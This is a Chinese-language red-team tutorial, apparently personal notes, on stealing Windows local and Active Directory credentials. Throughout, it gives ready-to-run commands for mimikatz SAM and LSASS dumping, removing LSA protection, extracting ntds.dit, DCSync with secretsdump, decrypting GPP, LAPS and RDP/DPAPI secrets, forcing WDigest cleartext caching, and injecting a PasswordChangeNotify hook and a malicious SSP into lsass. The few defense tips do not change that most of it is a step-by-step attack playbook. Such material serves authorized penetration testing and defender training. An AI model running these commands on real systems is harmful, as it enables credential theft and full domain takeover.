AD域和本地凭据获取技术
前言
网络拓扑
下文中部分示例使用到的 AD 环境网络拓扑如图:

通常情况下,Windows 操作系统提供两种类型的用户账户:本地账户和域账户。本地用户的详细信息存储在 Windows 文件系统中,而域用户的详细信息存储在集中的活动目录中,但不同的认证方式使用和保存凭据的方式不同。
常见认证
本地认证
Windows 的登陆密码是储存在系统本地的 SAM(%SystemRoot%\system32\config)文件中的,在登陆 Windows 的时候,系统会将用户输入的密码与 SAM 文件中的密码进行对比,如果相同,则认证成功,具体流程如图:
NTLM 认证
参见:[AD 横向移动-NTLM 认证](AD横向移动.md##NTLM 认证)
Kerberos 认证
参见:[AD 横向移动-Kerberos 认证](AD横向移动.md##Kerberos 认证)
凭据访问
攻陷目标后应该优先获取合法的用户凭据,而不是利用 CVE 攻击系统,而凭据可能会在系统各个位置以不安全的方法进行保存:明文文件、数据库文件、内存、密码管理器、企业保险库、活动目录、网络嗅探等,在这些地方进行访问以寻找泄露的合法用户凭据。
明文文件
明文文件可能包含用户创建的敏感信息,其中包含密码、私钥等,一般在计算机的本地或远程文件系统中搜索凭证,常见可能存在敏感信息的位置:命令历史记录、配置文件(Web 应用、FTP 文件等)、与 Windows 应用程序相关的其他文件(互联网浏览器、电子邮件客户端等)、备份文件、共享文件和文件夹、注册表、源代码等。
比如在 powershell 的历史记录在这个文件中:C:\Users\USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
在注册表中查询密码相关的字符可以用以下命令:
reg query HKLM /f password /t REG_SZ /s
# 或者
reg query HKCU /f password /t REG_SZ /s
数据库文件
应用程序利用数据库文件来读取或写入设置、配置或凭证。数据库文件通常存储在 Windows 操作系统的本地。这些文件是检查和搜寻凭证的绝佳目标,比如:McAfee 配置文件凭据提取
密码管理器
一个密码管理器是一个用于存储和管理用户在本地和互联网网站及服务上的登录信息的应用程序。由于它涉及用户数据,因此必须安全存储以防止未经授权的访问。
密码管理器应用程序的示例:
- 内置密码管理器(Windows)
- 第三方:KeePass、1Password、LastPass
然而,这些应用程序存在配置错误和安全漏洞,使攻击者能够访问存储的数据,具体操作见前文“本地凭据搜集”
活动目录
活动目录存储了大量与用户、组、计算机等相关的信息。因此,枚举活动目录环境是红队评估的重点之一。活动目录具有坚固的设计,但管理员配置的错误使其容易受到各种攻击。
以下是一些可能导致用户凭证泄露的 Active Directory 配置错误:
-
用户描述 :管理员在新员工的描述中设置密码,并将其保留在那里,这使得账户容易受到未经授权的访问,如:

-
组策略 SYSVOL:泄露的加密密钥使攻击者能够访问管理员账户。有关 SYSVOL 易受攻击版本的更多信息
-
NTDS: 包含 AD 用户的凭证,使其成为攻击者的目标。
-
AD 攻击: 配置错误使 AD 易受各种攻击。
网络嗅探
获得对目标网络的初始访问权限使攻击者能够对本地计算机执行各种网络攻击,包括 AD 环境。对网络协议实施中间人攻击允许攻击者在网络中创建假冒或伪造受信任的资源,以窃取认证信息,例如 NTLM 哈希值。
键盘记录
键盘记录器是一种软件或硬件设备,用于监控和记录键盘输入活动。键盘记录器最初是为合法目的设计的,例如软件开发的反馈或家长控制。然而,它们可能被用于窃取数据。
浏览器、数据库等其他密码的抓取
BrowserGhost 浏览器抓取密码
实现 system 抓机器上其他用户的浏览器密码(方便横向移动时快速凭据采集)
BrowserGhost.exe

Sharp-HackBrowserData 浏览器抓取密码
Sharp-HackBrowserData ,谷歌、火狐、IE、Vivaldi 等常见的浏览器都能抓
Sharp-HackBrowserData.exe

会在当前目录下生成 results 文件,包含各种密码信息

SharpDecryptPwd 数据库抓取密码
SharpDecryptPwd-master 对密码已保存在 Windwos 系统上的部分程序进行解析,包含 Navicat, TeamViewer, FileZilla, WinSCP, Xmangager 系列产品
SharpDecryptPwd.exe ‐TeamViewer
SharpDecryptPwd.exe ‐FileZilla
SharpDecryptPwd.exe ‐WinSCP
SharpDecryptPwd.exe ‐Xmangager ‐p Session_Path

LaZagne 抓取各类密码
用于获取开源应用程序存储在本地计算机上的密码。每个软件都使用不同的技术(明文、API、自定义算法、数据库等)存储其密码。
laZagne.exe all
laZagne.exe browsers
laZagne.exe browsers ‐firefox
laZagne.exe all ‐oN
laZagne.exe all ‐oA ‐output C:\Users\test\Desktop
laZagne.exe ‐h
laZagne.exe browsers ‐h
laZagne.exe all ‐vv
laZagne.exe all ‐quiet ‐oA

通过 sam、lsass 获取凭据
SAM 是一个包含用户名和密码等本地账户信息的 Microsoft Windows 数据库。SAM 数据库以加密格式存储这些详细信息,以使其更难被检索。此外,在 Windows 操作系统运行时,它不能被任何用户读取和访问。 然而,有各种方法和攻击可以转储 SAM 数据库的内容。

Tips:可以看到查看和复制都是不被允许的。
mimikatz 在线读取 sam 和 lsass 获取密码
在线读取 sam 文件
使用 mimikatz 在线读取 sam 文件
#分开的命令如下
privilege::debug
token:elevate
lsadump::sam

# 一句话执行的命令如下
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam"

在线读取 lsass 进程
从 lsass 进程中提取 passwords、keys、pin、tickets 等信息
privilege::debug
sekurlsa::msv # 获取 HASH (LM, NTLM)
sekurlsa::wdigest # 通过可逆的方式去内存中读取明文密码
sekurlsa::Kerberos # 假如域管理员正好在登陆了我们的电脑,我们可以通过这个命令来获取域管理员的明文密码
sekurlsa::tspkg # 通过 tspkg 读取明文密码
sekurlsa::livessp # 通过 livessp 读取明文密码
sekurlsa::ssp # 通过 ssp 读取明文密码
sekurlsa::logonPasswords # 通过以上各种方法读取明文密码

受保护的 LSASS
2012 年,微软实施了 LSA 保护,以防止 LSASS 被访问从而从内存中提取凭证,启用了 LSA 保护,在注册表中的 RunAsPPL DWORD 值 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa 为 1。
在使用 mimikatz 的 sekurlsa::logonPasswords 提取凭据时会发生报错:
绕过方法
Mimikatz 提供了一个 mimidrv.sys 驱动程序,该驱动程序在内核级别工作以禁用 LSA 保护。攻击者可以通过执行 "!+" 将其导入 Mimikatz,如下所示:

PS:如果出现
isFileExist错误导致失败,需要退出 mimikatz,重新进入 mimikatz 执行该命令。
一旦驱动程序加载完成就可以通过执行以下 Mimikatz 命令禁用 LSA 保护:
!processprotect /process:lsass.exe /remove

Tips:可以看到禁用 lsa 保护后就可以执行读取凭据的命令了。
mimikatz 离线读取 sam 和 lsass 获取密码
离线读取 sam 文件
1、通过 reg 命令无工具导出 sam 和 system 文件
reg save hklm\sam sam.hive
reg save hklm\system system.hive

2、通过 nishang 中的 Copy-VSS 进行复制,如果这个脚本运行在了 DC 服务器上,ntds.dit 和 SYSTEM hive 也能被拷贝出来
copy‐vss # 直接将文件保存在当前目录下
copy‐vss ‐DestinationDir 路径 # 指定保存文件的路径(必须是已经存在的路径)

3、读取 sam 和 system 文件获取密码
lsadump::sam /sam:sam.hive /system:system.hive

离线读取读取 lsass 进程
法一:使用任务管理器导出


然后将 lsass.DMP 文件拷贝到当前目录下,mimikatz 读取就好了
法二:使用 procdump 导出 lsass.dmp 文件
procdump.exe ‐accepteula ‐ma lsass.exe lsass.dmp

法三:使用 PowerSploit 的 Out-MiniDump 模块
项目地址:[Out-MiniDump 模块下载](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-
Minidump.ps1)
Import-Module .\Out-Minidump.ps1 //导入模块
Get-Process lsass | Out-Minidump

法四:comsvcs.dll
通过系统自带的 comsvcs.dll 中的导出函数 MiniDump 实现 dump 内存
首先查看 lsass.exe 进程 PID:
tasklist | findstr lsass.exe

使用 powershell 导出:
rundll32 C:\windows\system32\comsvcs.dll, MiniDump 616C:\Users\apache\Desktop\lsass.dmp full

读取 lsass.dmp 文件
使用 mimikatz 读取 lsass.dmp 文件
mimikatz.exe "sekurlsa:: minidump lsass.dmp" "sekurlsa:: logonPasswords full"

本地转储(无需凭证)
这通常在攻击者没有凭证 但拥有对域控制器的管理员访问权限 时进行。 因此,这要依赖 Windows 工具来转储 NTDS 文件并在离线状态下进行破解。
ntds.dit 文件作用
ntds.dit 为 ad 的数据库,内容有域用户、域组、用户 hash 等信息,域控上的 ntds.dit 只有可以登录到域控的用户(如域管用户、DC 本地管理员用户)可以访问。ntds.dit 包括三个主要表:数据表、链接表、sd 表。所以只要在域渗透中能够获取到 ntds.dit 就可以获取到所有域用户的用户名和对应的 hash,它和 SAM 文件一样,被 windows 系统锁死
提取 ntds.dit 文件
法一:ntdsutils.exe 提取 ntds.dit
ntdsutils.exe 是一个为活动目录提供管理机制的命令行工具,使用 ntdsutils.exe 可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区等,该工具默认安装在域控服务器上,可以在域控制器上直接操作;
支持 windows-server 2003、2008、2012。
提取过程分为 3 步:
第一步:创建快照
ntdsutil.exe snapshot "activate instance ntds" create q q

可以看到快照的 uid 是 eb622937-b9a3-4396-9a28-c4f736774a06
第二步:加载快照
ntdsutil.exe snapshot "mount {eb622937-b9a3-4396-9a28-c4f736774a06}" q q

可以看到快照的地址为 C:\
第三步:复制快照中的 ntds.dit 文件
copy '快照地址\Windows\NTDS\ntds.dit' 目标地址
# 示例命令
C:\$SNAP_202506031117_VOLUMEC$\Windows\NTDS\ntds.dit .\

第四步:删除快照
ntdsutil.exe snapshot "umount {eb622937-b9a3-4396-9a28-c4f736774a06}" "delete {eb622937-b9a3-4396-9a28-c4f736774a06}" q q

法二:vssadmin 提取 ntds.dit
vssadmin1 是 Windows Server 2008 及 Windows7 系统提供的 VSS 管理工具,它可以用于创建或删除卷影副本,列出卷影副本的信息(只能管理系统 Provider 创建的卷影副本)。还可以用于显示安装的所有卷影副本写入程序(writers)和提供程序(providers),以及改变卷影副本存储空间(即所谓的“diff 空间”)的大小等。
支持的操作系统:Server 2008、Server 2012
第一步:创建快照
vssadmin create shadow /for=c:

第二步:复制文件
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit .\

第三步:删除快照
vssadmin delete shadows /for=c: /quiet

法三:vssown 提取 ntds.dit
vssown.vbs 和 vssadmin 类似,它可以创建和删除卷影副本,以及启动和停止卷影复制服务。
第一步:启动卷影复制服务
cscript vssown.vbs /start
第二步:创建一个 C 盘的卷影副本
cscript vssown.vbs /create c
第三步:列出当前卷影副本
cscript vssown.vbs /list

第四步:复制文件
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit .\

第五步:删除卷影副本
cscript vssown.vbs /delete {19127295-0000-0000-0000-100000000000}

法四:ntdsutil 的 IFM 提取 ntds.dit
通过创建一个 IFM 的方式获取 ntds.dit,在使用 ntdsutil 创建媒体安装集(IFM)时,需要进行生成快照、加载、将 ntds.dit 和计算机的 SAM 文件复制到目标文件夹中等操作,这些操作也可以通过 PowerShell 或 WVMI 远程执行。
第一步:
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
此时 ntds.dit 将被保存在 C:\test\Active Directory 下,SYSTEN 和 SECURITY 两个文件将被保存在 C:\test\registry 文件夹下:

第二步:删除快照
rmdir /s/q C:\test
法五:impacket-secretsdump
通过 impacket 里的 secretsdump.exe 程序可以直接远程读取 ntds.dit 并导出哈希值:
secretsdump.exe <域名>/administrator:<密码>@<IP> -outputfile output_ntds
# 例:secretsdump.exe thm.red/bk-admin:Passw0rd123@10.10.210.173 -outputfile output_ntds

读取 ntds.dit 文件
在线读取
在线读取不需要导出 ntds 文件,但一般在域环境中不要在线获取 hash,特别是大型域环境中,耗时长资源占用高,容易造成 DC 崩溃。
法一:mimikatz
1、可用读取所有用户的 hash
.\mimikatz.exe "lsadump::dcsync /domain:<域名> /all /csv" "exit"
# 例:.\mimikatz.exe "lsadump::dcsync /domain:thm.red /all /csv" "exit"

2、也可以读取指定用户的 hash
.\mimikatz.exe "lsadump::dcsync /domain:<域名> /user:administrator" "exit"
# 例:.\mimikatz.exe "lsadump::dcsync /domain:thm.red /user:administrator" "exit"

法二:Quarks PwDump
1、上传工具到目标机器,读取导出的 ntds 文件:
QuarksPwDump.exe --dump-hash-domain --ntds-file ntds.dit
法三:impacket-secretsdump
使用 impacket 包中的 secretsdump.exe 程序直接读取
secretsdump.exe <域名>/administrator:<密码>@<IP> -outputfile output_ntds
# 例:secretsdump.exe thm.red/bk-admin:Passw0rd123@10.10.210.173 -outputfile output_ntds

法四:Invoke-DCSync
Invoke-DCSyncs 是一个 powershell 脚本,可以在线读取内存中的用户 hash:
Import-Module .\Invoke-DCSync.ps1
Invoke-DCSync -PWDumpFormat
离线读取
离线读取一般需要两步:
- 将远端 DC 的 ntds.dit 下载到本地
- 在本地执行读取操作
Tips:因为 system.hive 里存放着 ntds.dit 的秘钥,所以需要转储 system.hive ,不然没法查看 ntds.dit 里内容,转储命令如下:
reg save hklm\system c:\windows\temp\system.hive
一共需要图中所示的两个文件。
法一:esedbexport
1、以 kali 为例子,安装 esedbexport:
apt-get install autoconf automake autopoint libtool pkg-config
wget https://github.com/libyal/libesedb/releases/download/20210424/libesedbexperimental-20210424.tar.gz
tar zxvf libesedb-experimental-20210424.tar.gz
cd libesedb-20210424
./configure
make
make install
ldconfig
2、将 ntds.dit 文件放入 libesedb-20210424 文件夹内,导出 ntds.dit 两个重要的表为:datatable 以及 link_table,他们都会被存放在./ntds.dit.export/文件夹中:
esedbexport -m tables ntds.dit

3、安装 ntdsxtract
git clone https://github.com/csababarta/ntdsxtract.git
cd ntdsxtract
python setup.py build
python setup.py install
PS:如果提示 ImportError: No module named Crypto.Hash,执行 pip install pycryptodome
4、导出 hash
将 ntds.dit.export 和 SYSTEM 文件放入到 ntdsxtract 工具的文件夹中,然后导出哈希值,最后的结果将保存在 1.txt
里:
python2 dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 output --syshive SYSTEM --passwordhasher --pwdformat ocl --ntoufile atout --lmoufile lmout | tee 1.txt

法二:impacket - secretsdump
将 ntds.dit.export 和 SYSTEM 文件还有 ntds.dit 放入到 和 secretsdump.exe 同级目录下:

secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

法三:NTDSDump.exe
NTDSDumpEx.exe 可以进行导出哈希值的操作
报错处理
出现:
[x]error at JetAttachDatabase()
[x]can not load database: JET_errDatabaseDirtyShutdown, Database was not shutdown cleanly. Recovery must first be run to properly complete database operations for the previous shutdown.
需要执行以下命令修复数据库:
esentutl /p /o ntds.dit

提取 hash
ntdsdumpex.exe -d ntds.dit -o hash.txt -s system.hive

法四:DSInternals
DSInternals 是 powershell 脚本,可以离线读取 ntds 文件
安装 DSInternals:
Install-Module DSInternals -Force
导出 hash,并保存在 txt 文件里:
$key = Get-Bootkey -SystemHivePath 'system.hive文件路径'
Get-ADDBAccount -All -DBPath 'ntds文件路径' -Bootkey $key | Out-File output_hash.txt


法五:MSF 读取
hashdump
在已有的 meterpreter 会话中执行 hashdump 即可导出 hash:

smart_hashdump
使用 smart_hashdump 脚本读取域内 hash:

远程转储(有凭证)
[!IMPORTANT]
PS:远程转储系统和域控制器的哈希值需要凭证,例如密码或 NTLM 哈希值。而且还需要域控制器管理员或特殊权限用户的凭证。
DC sync 攻击
Tips:DC Sync 相关原理和 ACL 参见:AD 持久化-DC Sync 原理
DC 同步攻击是在 Active Directory 环境中执行的一种流行攻击,用于远程转储凭证。当被攻破的账户(具有必要权限的特殊账户)或 AD 管理员账户具有以下 AD 权限时,该攻击才会生效:
- 复制目录更改
- 复制目录更改全部
- 在筛选集中复制目录更改
使用 mimikatz 进行同步攻击可以参考:[AD 持久化 - 利用 DC 同步持久化](../../免杀与持久化/AD持久化.md#利用 DC 同步持久化),下面是几个其他工具的使用。
Impacket - SecretsDump
所有用户的凭据:
# 明文认证
python3 secretsdump.py -just-dc <DOMAIN>/<AD_Admin_User>@<TARGET_HOST>
-just-dc参数用于提取 NTDS 数据。thm.red/AD_Admin_User是以 (domain/user) 形式的已认证域用户。
只转储 NTLM 哈希:
python3 secretsdump.py -just-dc-ntlm <DOMAIN>/<AD_Admin_User>@<TARGET_HOST> > ntlm_hashes.txt
使用 hashcat/john 爆破得到明文密码:
hashcat -m 1000 -a 0 /path/to/ntlm_hashes.txt /path/to/wordlist/such/as/rockyou.txt
powershell 脚本 Invoke-DCSync
Invoke-DCSync.ps1 脚本也可以通过 DCSync 功能导出域用户的 Hash,使用方法如下:
Import-Moudle .\Invoke-DCSync.ps1
#导出域内所有用户的Hash
Invoke-DCSync -DumForest | ft -wrap -autosize
#导出域内用户的krbtgt的Hash
Invoke-DCSync -DumpForest -Users @("krbtgt") | ft -wrap -autosize

利用 DCSync 获取明文凭据
有时候利用 DCSync 可以获取明文凭据,这是因为账户勾选了 "使用可逆加密存储密码的属性", 用户再次更改密码会显示其明文密码。
当通过远程访问 Internet 身份验证服务(IAS)或使用质询握手身份验证协议(CHAP)身份验证时,必须启用“使用可逆加密存储密码”属性。在 Internet 信息服务中使用摘要式身份验证时,也需要启动此属性。启动此属性后,就能通过 DCSync 抓取到目标用户的明文凭据了
如图所示,在“jack 属性”对话框勾选“使用可逆加密存储密码”选项,然后对用户 jack 进行密码更改
此时使用 secretsdump.py 脚本执行如下的命令获取获取用户 jack 的明文凭据:
python3 secretsdump.py hack/<targetUser>:<passwd> -dc-ip <DC_ip> -just-dc-user jack
组策略偏好设置(GPP)
概念
Windows 大型环境中可通过组策略偏好设置(GPP)批量更改本地管理员账户密码,GPP 部署后会在位于域控的组策略模板(GPT)文件夹 %systemroot%\sysvol\domain\Policies 生成含加密密码的 XML 文件。但因微软曾公开 AES - 256 加密私钥,域用户可读取 xml 文件内容并利用工具(如 Get - GPPPassword)解密其中密码。
攻击手法&示例
在域 hack.com 新建一个名为 Gpp_test 的组策略,然后对该组策略进行编辑;依次点击“计算机配置”---->“首选项”—>“控制面板设置”,右击“本地用户和组”,选“新建”—> "本地用户" 选项;
将域中每个计算机的本地 Administrator 用户更名为 admin,并设置新的密码为 root@123456,如图所示:

等待组策略应用完成,就可以在如下的目录找到 Groups.xml 文件:
\\hack.com\sysvol\hack.com\Policies\{新建组策略的GUID}Machine\Preferences\Groups

PS:如图,可以看到之前通过组策略设置的一些值。其中 cpassword 字段的值就是修改后的密码再经过 AES-256 进行加密后的密文。
现在可以以普通域用户身份登陆域内任意一台计算机,使用 PowerSpolit 中的 Get-GPPPassword.ps1 脚本执行如下的命令将组策略中的密文解密成明文:
Import-Moudle .\Get-GPPPassword.ps1
Get-GPPPassword

如图所示,使用 Get-GPPPassword.ps1 脚本成功获得密码明文。
防御措施
安装 KB2962486 的补丁,防止新的凭据被放置在组策略首选项中,或者使用 LAPS。
本地管理员密码解决方案(LAPS)
概念
2015 年微软停用 GPP,引入 本地管理员密码解决方案(LAPS),通过在 Active Directory 计算机对象中新增属性 ms-mcs-AdmPwd(存储本地管理员明文密码) 和 ms-mcs-AdmPwdExpirationTime(记录密码过期时间) 实现安全管理,利用 admpwd.dll 组件完成密码更改与属性值更新。
攻击手法
确认 LAPS 是否安装
通过检查 admpwd.dll 路径查看是否存在该文件来判断是否启用了 laps:
dir "C:\Program Files\LAPS\CSE"
枚举可用的 LAPS PowerShell 命令
找出与 LAPS 管理相关的 PowerShell 可用命令:
powershell -ex bypass
Get-Command *AdmPwd*
查找拥有 LAPS 读取权限的 OU
查找哪个 OU 具有处理 LAPS 的 "所有扩展权限" 属性,这里指定 OU 为 THMorg:
Find-AdmPwdExtendedRights -Identity THMorg
PS: 获取可用的 OU 可以在枚举步骤中完成,可以使用 -Identity * 参数来列出所有可用的 OU。
枚举拥有权限的组成员
根据前面的执行结果指定的 OU 拥有处理 LAPS 的权限/属性,然后需要枚举其成员:
net groups "LAPsReader"
可以发现 bk-admin 用户是 LAPsReader 组的成员,那么为了获取目标 laps 中存储的密码,就需要入侵或冒充 bk-admin 用户,然后通过向启用了 LAPS 的目标计算机使用 Get-AdmPwdPassword 命令来获取 LAPS 中所存储的密码。
获取密码
使用 runas 启动一个以 bk-admin 身份运行的 cmd,在新的 cmd 中就可以通过指定目标主机获取密码了:
runas /user:THM.red\bk-admin cmd.exe
# 新窗口运行
powershell -ep bypass
Get-AdmPwdPassword -ComputerName creds-harvestin
Tips:这里是直接指定了目标主机,而在实际的 AD 环境中,LAPS 仅会在特定的计算机上被启用;因此,需要枚举并找到正确的目标计算机以及正确的用户帐户,以便能够获取 LAPS 中的密码。

通过脚本进行攻击
通过脚本 LAPSToolkit 可以自动的枚举需要的信息,常用指令如下:
# 获取所有包含 LAPS 密码的计算机对象
Get-LAPSPassword
# 按计算机名筛选
Get-LAPSPassword -ComputerName "SERVER01"
# 按 OU (组织单位) 筛选
Get-LAPSPassword -OU "OU=Servers,DC=contoso,DC=com"
# 获取密码即将过期的计算机
Get-LAPSPassword -Expired
凭据管理器
凭证管理器是 Windows 的一项功能,用于存储网站、应用程序和网络登录敏感信息。它包含用户名、密码和互联网地址等登录凭证。有四种凭证类别:
- Web 凭证包含存储在互联网浏览器或其他应用程序中的身份验证详细信息。
- Windows 凭证包含 Windows 认证详细信息,例如 NTLM 或 Kerberos。
- 通用凭证包含基本认证详细信息,例如明文用户名和密码。
- 基于证书的凭证:这些是基于证书的认证详细信息。
PS:认证详细信息存储在用户的文件夹中,并且不会在 Windows 用户账户之间共享。但是,它们会缓存在内存中。
查看凭据方法
可以通过图形界面 (控制面板-> 用户账户-> 凭证管理器)或命令提示符访问 Windows 凭证管理器。
-
图形界面:

-
命令行:主要是通过
vaultcmd工具进行操作
PS:可以看到默认情况下,Windows 有两个保险库,一个用于 Web,另一个用于 Windows 机器凭证。
通过命令行查看凭据
检查 Web Credentials 密钥库中是否有存储的凭证:
VaultCmd /listproperties:"密钥库名" # Web Credentials 或 Windows Credentials

列出指定密钥库中更多关于存储凭证的信息:
VaultCmd /listcreds:"密钥库名" # Web Credentials 或 Windows Credentials

通过 powershell 脚本凭证转储
VaultCmd 无法显示密码,但可以依赖其他 PowerShell 脚本,例如 Get-WebCredentials.ps1:

输出显示了访问内部应用程序的用户名和密码。
通过 runas 利用存储的凭据
若受害主机使用 runas /savecred 以另一身份运行程序,该用户凭证会保存至 Windows 凭证管理器,下次以相同身份登录无需验证。而攻击者可通过 cmdkey /list 枚举凭证,再利用 runas /savecred 指定已保存的用户身份免验证执行程序。

使用 Mimikatz 转储凭据
它可以从当前计算机的内存中转储保存在 Windows 凭据管理器中的明文密码:
privilege::debug
sekurlsa::credman # 用户手动存的明文密码,需要更高权限但可能直接拿到明文密码
# 或者
vault::cred /path # 系统自动存的登录令牌,权限要求低但获取的可能是令牌形式的凭据

RDP 凭证抓取与破解
原理
用户点击保存密码后,Windows 就通过 MasterKey 将密码加密后保存在本地,由于 Windows 还需要解密从而使用,所以这个过程是可逆,也正因为这一缘由,只要拿到 MasterKey 就能将密码解出来。
查看凭证
查看本地存在的凭证:
# 查看mstsc的连接记录
cmdkey /list
#查找本地的Credentials
dir /a %userprofile%\appdata\local\microsoft\credentials\*
参考:

在线破解
1、使用 mimikatz 获取该文件的 MasterKey 的 guid
mimikatz dpapi::cred /in:C:\Users\Administrator\appdata\local\microsoft\credentials\FF22A1FDA68FD8515B52C534E8655421

所以用于加密凭据文件 FF22A1FDA68FD8515B52C534E8655421 的 MasterKey 的 guid 就是:{acd3587e-d1b8-4c1b-87cf-50e85d72f405},所以只要从内存中找到这个 guid 对应的 MasterKey 的值即可
2、找到内存中对应的 MasterKey
mimikatz sekurlsa::dpapi

3、使用 mimikatz 通过 MasterKey 值解密凭据文件
dpapi::cred /in:凭据文件路径 /masterky:masterkey值
# 参考命令
mimikatz dpapi::cred /in:C:\Users\Administrator\appdata\local\microsoft\credentials\FF22A1FDA68FD8515B52C534E8655421 /masterkey:17c106dca97992a6522638c4f6d5fcccd577c9cfaf1485450b2e70a2fd6ab41ec57b798eac30804ee801db18d205d86776c3be80d50fa18ad27a977fbd7670bc
离线破解
由于 mimikatz 放到那边容易被杀,还需要做免杀之类的,较为麻烦也不易隐藏,更好的方法是将得到的文件和值拿到本地进行破解。
1、上传 procdump.exe 到目标机器
2、下载目标内存
procdump.exe ‐accepteula ‐ma lsass.exe lsass1.dump //导出lsass
3、下载目标的 lsass1.dmp 和 Credentials 文件到本地机器上
将这两个文件放到 mimikatz 同一路径下:
4、用 mimikatz 载入 dump 回来的内存
Sekurlsa::minidump lsass1.dump

5、获取 Credentials 的 GUID
dpapi::cred /in:FF22A1FDA68FD8515B52C534E8655421

6、获取内存中所有的 MasterKey
sekurlsa::dpapi

7、利用 MasterKey 解密
dpapi::cred /in:FF22A1FDA68FD8515B52C534E8655421 /masterkey:b3354c56cd35630d10aa7477c3d16e9b94587f1dc6f9d0c8fcb72a5e4a25c8aab8fa242194666c4cc4be9485c31af555b01a49abbfbb8cc1c00d209da624f33c

Windows-server2012 之后密码抓取
在 Windows2012 系统及以上的系统,默认在内存缓存中禁止保存明文密码的。攻击者可以通过修改注册表的方式抓取明文,需要用户重新登录后才能成功抓取。

抓取密码
法一:修改注册表
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 开启
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f 关闭

目标机器重启后,成功抓到明文密码

法二:通过锁屏
还有一种方式是通过锁屏,来让对方在输入一次密码,然后抓取密码
rundll32.exe user32.dll,LockWorkStation 锁屏


目标机器锁屏了
这里模拟对方输入密码:
然后运行 Mimikatz 就可以抓到密码了:

同样的原理还有第二种方式来让对方的机器下线
query user # 查询登录
logoff ID # 下线用户


执行完命令后对方的机器注销了
这种情况对方只要输入密码,只要一输入密码,密码就会以明文的形式保存在内存中,就又能够抓到明文密码了:

抓取密码的防范措施
域控设置
在 windows server 2012 R2 中,新增了一个 Protected Users 安全组,将用户加入到该组,用户的明文密码就不会被获取

安装 KB2871997 补丁
它主要囊括了 Windows 8.1 和 Windows Server 2012R2 中增强的安全保护机制。所以,以往的例如:Windows 7,Windows 8,Windows Server 2008R2 和 Windows Server2012 也可以更新该补丁后获得上述安全保护机制。
该补丁无法阻止“哈希传递”的攻击方式,但其确实有助于是 Windows 免受一些常见的攻击,例如:明文密码脱取、RDP 凭据盗取、盗取本地 Administrator 账户进行横向移动。
修改注册表
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f 关闭
Hook PasswordChangeNotify搜集凭据
原理&概念
攻击者通过将恶意DLL反射注入lsass.exe进程,劫持活动目录密码同步的关键函数PasswordChangeNotify(位于rassfm.dll中)。当用户修改密码时,系统在完成密码复杂度验证(PasswordFilter)后调用此函数同步新密码,恶意Hook便在此阶段截获明文密码并本地保存,而用户密码修改流程不受影响。
Tips:此攻击无需重启系统或修改注册表,且恶意DLL在
lsass.exe进程内无加载痕迹,有效规避常规检测。
攻击模式
实验环境:
- 域控:Windows Server 2012 R2
- 域控主机名:2012-R2-DC2
- 域控IP:192.168.41.20
- 域管理员:ginkgo\administrator
- 域普通用户:ginkgo\hack
- 域名:ginkgo.com
开始攻击
准备恶意程序
需要编译dll文件(PasswordChangeNotify.dll)和一个执行脚本(Invoke-ReflectivePEInjection.ps1),然后使用VS 2022,属性设置为“在静态库中使用MFC编译工程”,生成HookPasswordChange.dll文件:

Tips:属性选项卡中的目标平台版本需要的是Windows SDK 8.1这个可以去微软的 此处 下载,找到“Windows 8.1 SDK Windows 8.1 软件开发工具包”下载安装即可;生成dll文件时不要点
然后使用启动脚本将恶意dll文件注入到lsass进程中:
Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

此后,只要用户修改了密码,修改后的明文密码就会记录在 C:\Windows\Temp\passwords.txt 文件夹中。
比如:修改用户hack的密码:
net user hack Mima123456 /domain

可以看到password.txt文件中的内容就是用户 hack 修改后的密码,而用户也可以用新的密码正常登录,恶意dll只是记录了用户的新密码。
Hook PasswordChangeNotify 攻击防御
由于Hooke PasswordChangeNotify攻击不需要重启系统,需要修改注册表,不会在系统磁盘中留下DLL文件,也不会在内存中加载可疑的DLL文件,因此,其攻击者很难被检测到。安全人员要做的就是及时修复域内漏洞,更新最新补丁,让攻击者无法获得域控权限,自然也就无法进行Hook PasswordChangeNotify 攻击了。
注入SSP获取凭据
原理&概念
由于允许用户编写自己的SSP并注册到系统中,那么就可以利用这点,让操作系统支持自定义的身份验证方法,因此如果攻击者获得了机器的最高权限就可以编写一个恶意的SSP,然后将其注册到操作系统中,使其将所有尝试认证的凭证记录到文件中。最后通过指定一个网络位置进行记录,这将允许 mimilib 在用户认证到被攻陷的主机时将凭证发送给攻击者。
Tips:
- 由于注入SSP需要服务器的最高权限,因此通常需要获得域管理员权限才能在域控上执行SSP注入。
实验模拟
实验环境:
- 域控:Windows Server 2012 R2
- 域控主机名:2012-R2-DC2
- 域控IP:192.168.41.20
- 域管理员:ginkgo\administrator
- 域普通用户:ginkgo\hack
- 域名:ginkgo.com
mimikatz注入伪造的SSP
mimikatz中,写好恶意的SSP,该SSP提供对本地认证凭据的自动保存记录的功能,包括计算机账户密码、运行服务的凭证和任何登陆的用户。通过mimikatz可以使用两种方法在目标机器注入恶意的SSP,不管目标机器是否重启,都能捕获到用户登录时输入的明文密码,并保存到指定的文件中。
在内存中注入SSP
mimikatz支持在内存中注入恶意的SSP,这样做的好处是不会在系统中留下二进制文件。但是也有弊端,如果域控重启,被注入内存的恶意SSP将会失效,注入命令:
.\mimikatz.exe "privilege::debug" "misc::memssp" "exit"

那么只要目标机器不重启,在目标机器上登录的所有用户的明文凭据都会保存在 C:\Windows\system32\mimilsa.log 文件中:

